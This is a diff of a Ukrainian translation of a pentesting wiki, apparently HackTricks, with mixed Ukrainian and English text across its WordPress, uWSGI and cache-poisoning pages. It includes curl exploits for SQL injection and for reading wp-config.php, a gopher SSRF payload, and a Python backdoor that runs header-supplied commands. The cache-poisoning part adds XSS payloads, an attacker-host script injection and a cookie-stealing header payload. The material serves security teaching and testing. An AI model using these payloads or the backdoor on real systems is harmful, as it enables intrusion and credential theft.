розуміє маршрути WordPress і семантику плагінів. +Загальні edge/server WAFs налаштовані на широкі патерни (SQLi, XSS, LFI). Багато вразливостей високого впливу в WordPress/plugin — це специфічні для додатка logic/auth bugs, які виглядають як безпечний трафік, якщо движок не розуміє маршрути WordPress і семантику плагінів. Offensive notes -- Цільтеся на кінцеві точки, специфічні для плагіна, використовуючи чисті payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Перевіряйте спочатку unauth шляхи (AJAX `nopriv`, REST з permissive `permission_callback`, public shortcodes). Default payloads часто працюють без обфускації. -- Типові високовпливові випадки: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. +- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Defensive notes -- Не покладайтеся на загальні сигнатури WAF для захисту plugin CVEs. Впроваджуйте віртуальні патчі, специфічні для вразливостей, на рівні застосунку або швидко оновлюйте. -- Віддавайте перевагу positive-security перевіркам у коді (capabilities, nonces, strict input validation) замість негативних regex-фільтрів. +- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly. +- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters. ## WordPress Protection ### Regular Updates -Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтвердіть, що автоматичне оновлення увімкнене у wp-config.php: +Переконайтесь, що WordPress, plugins, і themes оновлені до останніх версій. Також підтвердіть, що automated updating увімкнено в wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Також, **встановлюйте лише довірені плагіни та теми WordPress**. +Також, **встановлюйте лише надійні плагіни та теми WordPress**. -### Плагіни безпеки +### Security Plugins - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) @@ -642,14 +642,14 @@ add_filter( 'auto_update_theme', '__return_true' ); - Видаліть стандартного користувача **admin** - Використовуйте **надійні паролі** та **2FA** -- Періодично **переглядайте** **права** користувачів -- **Обмежте кількість спроб входу**, щоб запобігти атакам Brute Force -- Перейменуйте файл **`wp-admin.php`** та дозволяйте доступ лише внутрішньо або з певних IP-адрес. +- Періодично **переглядайте** **права доступу** користувачів +- Обмежте **кількість спроб входу**, щоб запобігти Brute Force атакам +- Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише з внутрішньої мережі або з певних IP-адрес. -### Неавторизований SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2) +### Неаутентифікована SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2) -Плагін WP Job Portal для рекрутингу відкрив завдання **savecategory**, яке в кінцевому підсумку виконує наступний вразливий код у `modules/category/model.php::validateFormData()`: +Плагін WP Job Portal для рекрутингу відкрив задачу **savecategory**, яка врешті-решт виконує наступний вразливий код у `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -659,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Проблеми, введені цим фрагментом: +Проблеми, викликані цим фрагментом: -1. **Unsanitised user input** – `parentid` надходить безпосередньо з HTTP-запиту. -2. **String concatenation inside the WHERE clause** – відсутні `is_numeric()` / `esc_sql()` / prepared statement. -3. **Unauthenticated reachability** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки з шорткодом `[wpjobportal_my_resumes]`. +1. **Неочищений користувацький ввід** – `parentid` береться безпосередньо з HTTP-запиту. +2. **Конкатенація рядків у WHERE-клаузі** – немає `is_numeric()` / `esc_sql()` / prepared statement. +3. **Доступ без аутентифікації** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`. #### Експлуатація -1. Отримайте свіжий nonce: +1. Отримати свіжий nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Інжектуйте довільний SQL, зловживаючи `parentid`: +2. Впровадьте довільний SQL, зловживаючи `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -679,7 +679,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує SQLi. +Відповідь видає результат ін'єкції запиту або змінює базу даних, що доводить наявність SQLi. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) @@ -690,7 +690,7 @@ $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` контролюється зловмисником і конкатенується **без санітизації**. Знову ж таки, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме. +`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме. #### Exploitation ```bash @@ -701,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Сервер повертає вміст `wp-config.php`, leaking DB credentials and auth keys. +Сервер повертає вміст файлу `wp-config.php`, внаслідок чого розкриваються DB credentials і auth keys. ## Посилання diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md new file mode 100644 index 000000000..6ba8b1d2d --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/wsgi.md @@ -0,0 +1,169 @@ +# WSGI Post-Exploitation трюки + +{{#include ../../banners/hacktricks-training.md}} + +## Огляд WSGI + +Web Server Gateway Interface (WSGI) — це специфікація, яка описує, як вебсервер взаємодіє з веб-додатками і як веб-додатки можуть бути з'єднані в ланцюжок для обробки одного запиту. uWSGI — один із найпопулярніших WSGI серверів, часто використовується для обслуговування Python веб-додатків. + +## Експлуатація магічних змінних у uWSGI + +uWSGI надає спеціальні «магічні змінні», які можна використовувати для динамічної конфігурації поведінки сервера. Ці змінні можна встановити через HTTP-заголовки і вони можуть призводити до серйозних вразливостей без належної валідації. + +### Ключові змінні для експлуатації + +#### `UWSGI_FILE` - Виконання довільного файлу +``` +uwsgi_param UWSGI_FILE /path/to/python/file.py; +``` +Ця змінна дозволяє завантажувати та виконувати довільні Python-файли як WSGI-додатки. Якщо зловмисник може контролювати цей параметр, він може досягти Remote Code Execution (RCE). + +#### `UWSGI_SCRIPT` - Завантаження скрипту +``` +uwsgi_param UWSGI_SCRIPT module.path:callable; +uwsgi_param SCRIPT_NAME /endpoint; +``` +Завантажує вказаний скрипт як новий додаток. У поєднанні з можливістю завантаження файлів або запису це може призвести до RCE. + +#### `UWSGI_MODULE` і `UWSGI_CALLABLE` - Динамічне завантаження модулів +``` +uwsgi_param UWSGI_MODULE malicious.module; +uwsgi_param UWSGI_CALLABLE evil_function; +uwsgi_param SCRIPT_NAME /backdoor; +``` +Ці параметри дозволяють завантажувати довільні Python-модулі та викликати в них конкретні функції. + +#### `UWSGI_SETENV` - Маніпуляція змінними оточення +``` +uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings; +``` +Може бути використано для зміни змінних середовища, що потенційно впливає на поведінку програми або завантаження шкідливої конфігурації. + +#### `UWSGI_PYHOME` - Маніпуляція середовищем Python +``` +uwsgi_param UWSGI_PYHOME /path/to/malicious/venv; +``` +Змінює віртуальне оточення Python, потенційно завантажуючи шкідливі пакети або інші інтерпретатори Python. + +#### `UWSGI_CHDIR` - Траверсія директорій +``` +uwsgi_param UWSGI_CHDIR /etc/; +``` +Змінює робочий каталог перед обробкою запитів, що може бути використано для атак path traversal. + +## SSRF + Gopher до + +### Вектор атаки + +Коли uWSGI доступний через SSRF (Server-Side Request Forgery), зловмисники можуть взаємодіяти з внутрішнім сокетом uWSGI, щоб експлуатувати magic variables. Це особливо небезпечно, коли: + +1. Додаток має вразливості SSRF +2. uWSGI працює на внутрішньому порту/сокеті +3. Додаток неправильно перевіряє magic variables + +uWSGI доступний через SSRF, тому що конфігураційний файл `uwsgi.ini` містить: `socket = 127.0.0.1:5000`, що робить його доступним з веб-застосунку через SSRF. + +### Приклад експлуатації + +#### Крок 1: Створіть шкідливий payload +Спочатку інжектуйте Python-код у файл, доступний серверу (запис файлу всередині сервера, розширення файлу не має значення): +```python +# Payload injected into a JSON profile file +import os +os.system("/readflag > /app/profiles/result.json") +``` +#### Крок 2: Сформуйте запит протоколу uWSGI +Використайте протокол Gopher для надсилання необроблених uWSGI-пакетів: +``` +gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json +``` +Цей payload: +- Підключається до uWSGI на порту 5000 +- Встановлює `UWSGI_FILE`, щоб вказати на шкідливий файл +- Змушує uWSGI завантажити та виконати Python-код + +### Структура протоколу uWSGI + +Протокол uWSGI використовує бінарний формат, де: +- Змінні кодуються як рядки з префіксом довжини +- Кожна змінна має: `[name_length][name][value_length][value]` +- Пакет починається з заголовка, що містить загальний розмір + +## Post-Exploitation Techniques + +### 1. Persistent Backdoors + +#### File-based Backdoor +```python +# backdoor.py +import subprocess +import base64 + +def application(environ, start_response): +cmd = environ.get('HTTP_X_CMD', '') +if cmd: +result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True) +response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}" +else: +response = "Backdoor active" + +start_response('200 OK', [('Content-Type', 'text/plain')]) +return [response.encode()] +``` +Потім використайте `UWSGI_FILE`, щоб завантажити цей backdoor: +``` +uwsgi_param UWSGI_FILE /tmp/backdoor.py; +uwsgi_param SCRIPT_NAME /admin; +``` +#### Персистентність на основі середовища +``` +uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages; +``` +### 2. Витік інформації + +#### Environment Variable Dumping +```python +# env_dump.py +import os +import json + +def application(environ, start_response): +env_data = { +'os_environ': dict(os.environ), +'wsgi_environ': dict(environ) +} + +start_response('200 OK', [('Content-Type', 'application/json')]) +return [json.dumps(env_data, indent=2).encode()] +``` +#### Доступ до файлової системи +Використовуйте `UWSGI_CHDIR` у поєднанні з file serving для доступу до конфіденційних файлів: +``` +uwsgi_param UWSGI_CHDIR /etc/; +uwsgi_param UWSGI_FILE /app/file_server.py; +``` +### 3. Privilege Escalation + +#### Socket Manipulation +Якщо uWSGI працює з підвищеними привілеями, зловмисники можуть змінювати права доступу до сокетів: +``` +uwsgi_param UWSGI_CHDIR /tmp; +uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data; +``` +#### Перевизначення конфігурації +```python +# malicious_config.py +import os + +# Override uWSGI configuration +os.environ['UWSGI_MASTER'] = '1' +os.environ['UWSGI_PROCESSES'] = '1' +os.environ['UWSGI_CHEAPER'] = '1' +``` +## Посилання + +- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html) +- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata) +- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 297329ec6..a650530ff 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -4,28 +4,28 @@ ## Різниця -> **Яка різниця між web cache poisoning і web cache deception?** +> **Яка різниця між web cache poisoning та web cache deception?** > -> - У **web cache poisoning** атакувальник змушує додаток зберегти зловмисний контент у кеші, і цей контент видається з кешу іншим користувачам додатку. -> - У **web cache deception** атакувальник змушує додаток зберегти деякий чутливий контент, що належить іншому користувачу, у кеші, а потім витягує цей контент із кешу. +> - У **web cache poisoning** зловмисник змушує застосунок зберегти в cache шкідливий контент, і цей контент подається з cache іншим користувачам застосунку. +> - У **web cache deception** зловмисник змушує застосунок зберегти в cache чутливий контент іншого користувача, а потім отримує цей контент з cache. ## Cache Poisoning -Cache poisoning спрямований на маніпулювання клієнтським кешем, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, неповними або під контролем атакувальника. Обсяг впливу залежить від популярності постраждалої сторінки, оскільки підроблена відповідь видається виключно користувачам, які відвідують сторінку під час періоду зараження кешу. +Cache poisoning спрямований на маніпулювання client-side cache, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частково коректними або під контролем зловмисника. Масштаб впливу залежить від популярності ураженої сторінки, оскільки заражена відповідь віддається виключно користувачам, які відвідують сторінку під час періоду ураження cache. -Виконання атаки cache poisoning включає кілька кроків: +Проведення атаки cache poisoning включає кілька кроків: -1. **Виявлення неключових вхідних параметрів**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінювати відповідь сервера. Ідентифікація таких параметрів є критичною, оскільки їх можна використати для маніпуляції кешем. -2. **Експлуатація неключових вхідних параметрів**: Після виявлення неключових параметрів наступний крок — з'ясувати, як їх зловживати, щоб змінити відповідь сервера на користь атакувальника. -3. **Забезпечення кешування підробленої відповіді**: Останній крок — гарантувати, що змінена відповідь зберігається в кеші. Таким чином будь-який користувач, який звернеться до постраждалої сторінки під час зараження кешу, отримає підроблену відповідь. +1. **Identification of Unkeyed Inputs**: Це параметри, які, хоча й не потрібні для кешування запиту, можуть змінювати відповідь сервера. Виявлення таких параметрів критично, оскільки їх можна використати для маніпуляції cache. +2. **Exploitation of the Unkeyed Inputs**: Після ідентифікації unkeyed inputs наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника. +3. **Ensuring the Poisoned Response is Cached**: Останній крок — переконатися, що модифікована відповідь зберігається в cache. Таким чином будь-який користувач, який заходить на уражену сторінку під час отруєння cache, отримає заражену відповідь. -### Виявлення: Перевірка HTTP заголовків +### Discovery: Check HTTP headers -Зазвичай, коли відповідь була **збережена в кеші**, буде **заголовок, що це вказує**; ви можете перевірити, на які заголовки варто звертати увагу в цій публікації: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Зазвичай, коли відповідь була **збережена в cache**, буде **заголовок, що це вказує**; ви можете перевірити, на які заголовки варто звертати увагу в цій публікації: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Виявлення: Кешування кодів помилок +### Discovery: Caching error codes -Якщо ви думаєте, що відповідь зберігається в кеші, можна спробувати **відправити запити з некоректним заголовком**, які мають відповідати зі **статусом 400**. Потім спробуйте отримати запит звичайним способом і якщо **відповідь має статус 400**, ви знаєте, що система вразлива (і ви навіть можете виконати DoS). +Якщо ви підозрюєте, що відповідь зберігається в cache, можна спробувати **відправити запит з некоректним заголовком**, який має відповідатися **status code 400**. Потім спробуйте звернутися до того ж ресурсу нормально, і якщо **відповідь — status code 400**, значить є вразливість (і це може дозволити навіть DoS). Ви можете знайти більше варіантів у: @@ -33,43 +33,43 @@ Cache poisoning спрямований на маніпулювання кліє cache-poisoning-to-dos.md {{#endref}} -Проте зауважте, що **іноді такі коди статусу не кешуються**, тому цей тест може бути ненадійним. +Однак зауважте, що **іноді такі коди статусу не кешуються**, тому цей тест може бути ненадійним. -### Виявлення: Ідентифікація та оцінка неключових вхідних параметрів +### Discovery: Identify and evaluate unkeyed inputs -Ви можете використовувати [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) для **brute-force parameters and headers**, які можуть змінювати відповідь сторінки. Наприклад, сторінка може використовувати заголовок `X-Forwarded-For`, щоб вказати клієнту завантажити скрипт звідти: +Ви можете використати [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) для **перебору параметрів та заголовків**, які можуть **змінювати відповідь сторінки**. Наприклад, сторінка може використовувати заголовок `X-Forwarded-For`, щоб вказати клієнту завантажити скрипт звідти: ```html ``` -### Еlicit a harmful response from the back-end server +### Викликати шкідливу відповідь від back-end сервера -Після ідентифікації параметра/заголовка перевірте, як він **санітизується** та **де** він **відображається** або впливає на відповідь від сервера. Чи можна ним зловживати (виконати XSS або завантажити JS-код, контрольований вами? здійснити DoS?...) +Після ідентифікації параметра/хедера перевірте, як його **очищують** та **де** він **відображається** або як він впливає на відповідь від хедера. Чи можна ним зловживати (виконати XSS або завантажити JS-код під вашим контролем? виконати DoS?...) -### Get the response cached +### Отримайте відповідь у кеші -Коли ви **виявили** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати та **як** його **зловживати**, потрібно добитися кешування сторінки. Залежно від ресурсу, який ви намагаєтеся помістити в кеш, це може зайняти деякий час — можливо доведеться робити спроби кілька секунд. +Після того, як ви **виявили** **сторінку**, яку можна зловживати, який **параметр**/**хедер** використовувати та **як** його **зловживати**, потрібно домогтися, щоб сторінка опинилася в кеші. Залежно від ресурсу, який ви намагаєтесь помістити в кеш, це може зайняти деякий час, можливо доведеться намагатися декілька секунд. -The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ -The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` +Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`** коли запит не був закешований і значення **`hit`** коли він закешований.\ +Заголовок **`Cache-Control`** також цікавий для визначення, чи кешується ресурс і коли ресурс буде закешовано знову: `Cache-Control: public, max-age=1800` -Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. +Ще один цікавий заголовок — **`Vary`**. Цей заголовок часто використовується, щоб **вказати додаткові заголовки**, які вважаються **частиною ключа кеша**, навіть якщо зазвичай вони не враховуються. Тому, якщо нападник знає `User-Agent` жертви, на яку він націлюється, він може poison the cache для користувачів, які використовують цей конкретний `User-Agent`. -One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. +Ще один заголовок, пов'язаний з кешем, — **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебуває в proxy cache. -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +При кешуванні запиту будьте **обережні з заголовками, які ви використовуєте**, тому що деякі з них можуть бути **неочікувано** використані як **враховані в ключі кеша**, і **жертві доведеться використовувати той самий заголовок**. Завжди **тестуйте** Cache Poisoning з **різними браузерами**, щоб перевірити, чи це працює. -## Exploiting Examples +## Приклади експлуатації -### Easiest example +### Найпростіший приклад -A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ -You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: +Заголовок на кшталт `X-Forwarded-For` відбивається у відповіді без очищення.\ +Ви можете надіслати базовий XSS payload і poison the cache так, щоб кожен, хто заходить на сторінку, був XSSed: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_Note that this will poison a request to `/en?region=uk` not to `/en`_ +_Зауважте, що це отруїть запит до `/en?region=uk`, а не до `/en`_ ### Cache poisoning to DoS @@ -80,23 +80,23 @@ cache-poisoning-to-dos.md ### Cache poisoning through CDNs -У **[цьому writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** пояснюється наступний простий сценарій: +In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario: - The CDN will cache anything under `/share/` -- The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **містить auth token**. +- The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal для доступу до інших чутливих місць, які будуть кешуватися** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**. ### Using web cache poisoning to exploit cookie-handling vulnerabilities -Cookies також можуть відображатися у відповіді сторінки. Якщо ви зможете зловживати цим, щоб спричинити XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу кешовану відповідь. +Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response. ```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. +Зверніть увагу, що якщо вразливий cookie часто використовується користувачами, звичайні запити будуть очищувати cache. -### Створення невідповідностей за допомогою роздільників, нормалізації та крапок +### Генерація розбіжностей за допомогою роздільників, нормалізації та крапок Перевірте: @@ -105,9 +105,9 @@ Note that if the vulnerable cookie is very used by the users, regular requests w cache-poisoning-via-url-discrepancies.md {{#endref}} -### Cache poisoning with path traversal to steal API key +### Cache poisoning з використанням path traversal для викрадення API key -[**Цей розбір пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) як було можливо вкрасти OpenAI API key з URL на кшталт `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, тому що все, що відповідає `/share/*`, кешується без нормалізації URL зі сторони Cloudflare, яка виконувалась, коли запит доходив до веб-сервера. +[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server. Це також краще пояснено в: @@ -116,18 +116,18 @@ cache-poisoning-via-url-discrepancies.md cache-poisoning-via-url-discrepancies.md {{#endref}} -### Using multiple headers to exploit web cache poisoning vulnerabilities +### Використання декількох заголовків для exploit web cache poisoning vulnerabilities -Іноді потрібно **експлуатувати кілька неключових входів**, щоб мати змогу зловживати кешем. Наприклад, ви можете знайти **Open redirect**, якщо встановите `X-Forwarded-Host` на домен під вашим контролем і `X-Forwarded-Scheme` на `http`. Якщо **сервер** перенаправляє всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як домен для редіректу, ви можете контролювати, куди веде сторінка через редірект. +Іноді вам доведеться **exploit several unkeyed inputs**, щоб мати змогу зловживати cache. Наприклад, ви можете знайти **Open redirect**, якщо встановите `X-Forwarded-Host` на домен, яким ви керуєте, і `X-Forwarded-Scheme` на `http`. **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, ви зможете контролювати, куди спрямовує сторінка редирект. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Експлуатація при обмеженому `Vary`header +### Використання при обмеженому `Vary`заголовку -Якщо ви виявили, що заголовок **`X-Host`** використовується як **domain name to load a JS resource**, але заголовок **`Vary`** у відповіді вказує **`User-Agent`**, то потрібно знайти спосіб exfiltrate `User-Agent` жертви та poison the cache, використовуючи цей `User-Agent`: +Якщо ви виявили, що **`X-Host`** заголовок використовується як **доменне ім'я для завантаження JS ресурсу**, але в відповіді заголовок **`Vary`** вказує **`User-Agent`**, тоді потрібно знайти спосіб exfiltrate User-Agent жертви і отруїти кеш, використовуючи цей user agent: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -136,7 +136,7 @@ X-Host: attacker.com ``` ### Fat Get -Надішліть GET request, де запит міститься як у URL, так і в body. Якщо web server використовує значення з body, але cache server кешує значення з URL, то будь-хто, хто звернеться до цього URL, фактично використовуватиме parameter з body. Як-от vuln, який виявив James Kettle на Github website: +Надішліть GET-запит з тим самим параметром у URL і в body. Якщо web server використовує значення з body, але cache server кешує значення з URL, будь-хто, хто звертається до цього URL, фактично використовуватиме параметр із body. Як vuln, який знайшов James Kettle на сайті Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -145,58 +145,58 @@ Content-Length: 22 report=innocent-victim ``` -There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +There is a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) ### Parameter Cloacking -Наприклад, у ruby-серверах можна відокремлювати **parameters** символом **`;`** замість **`&`**. Це може бути використано, щоб помістити значення незаключених параметрів всередині ключових і зловживати цим. +For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -Дізнайтеся, як виконувати [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). +Тут можна дізнатися, як виконувати [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). ### Automated testing for Web Cache Poisoning -The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. Він підтримує багато різних технік і є високонастроюваним. +Інструмент [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) можна використовувати для автоматичного тестування на web cache poisoning. Він підтримує багато різних технік і добре налаштовується. -Приклад використання: `wcvs -u example.com` +Example usage: `wcvs -u example.com` ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -Цей реальний патерн поєднує примітив віддзеркалення заголовка з поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, який віддається іншим користувачам: +Цей реальний шаблон поєднує примітив header-based reflection із поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, який потім подається іншим користувачам: -- Головний HTML віддзеркалював недовірений заголовок запиту (наприклад, `User-Agent`) у виконуваний контекст. -- CDN видаляв cache headers, але існував внутрішній/origin cache. CDN також авто-кешував запити, що закінчуються статичними розширеннями (наприклад, `.js`), тоді як WAF застосовував слабшу інспекцію контенту до GET запитів для статичних ресурсів. -- Особливості потоку запитів дозволяли запиту до шляху `.js` впливати на cache key/variant, що використовувався для наступного головного HTML, дозволяючи міжкористувацький XSS через віддзеркалення заголовка. +- The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context. +- The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets. +- Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection. Практичний рецепт (спостерігався в популярному CDN/WAF): -1) З чистої IP-адреси (уникати попередніх знижень за репутацією) встановіть зловмисний `User-Agent` через браузер або Burp Proxy Match & Replace. -2) У Burp Repeater підготуйте групу з двох запитів і використайте "Send group in parallel" (single-packet mode працює найкраще): -- Перший запит: GET до ресурсу `.js` на тому ж origin, надсилаючи ваш зловмисний `User-Agent`. -- Одразу після: GET головну сторінку (`/`). -3) Гонка маршрутизації CDN/WAF разом з авто-кешованим `.js` часто сіє отруєний кешований варіант HTML, який потім віддається іншим відвідувачам, що ділять ті ж умови ключа кешу (наприклад, ті ж `Vary` виміри, такі як `User-Agent`). +1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace. +2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best): +- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`. +- Immediately after: GET the main page (`/`). +3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`). Example header payload (to exfiltrate non-HttpOnly cookies): ``` User-Agent: Mo00ozilla/5.0" ``` -Оперативні поради: 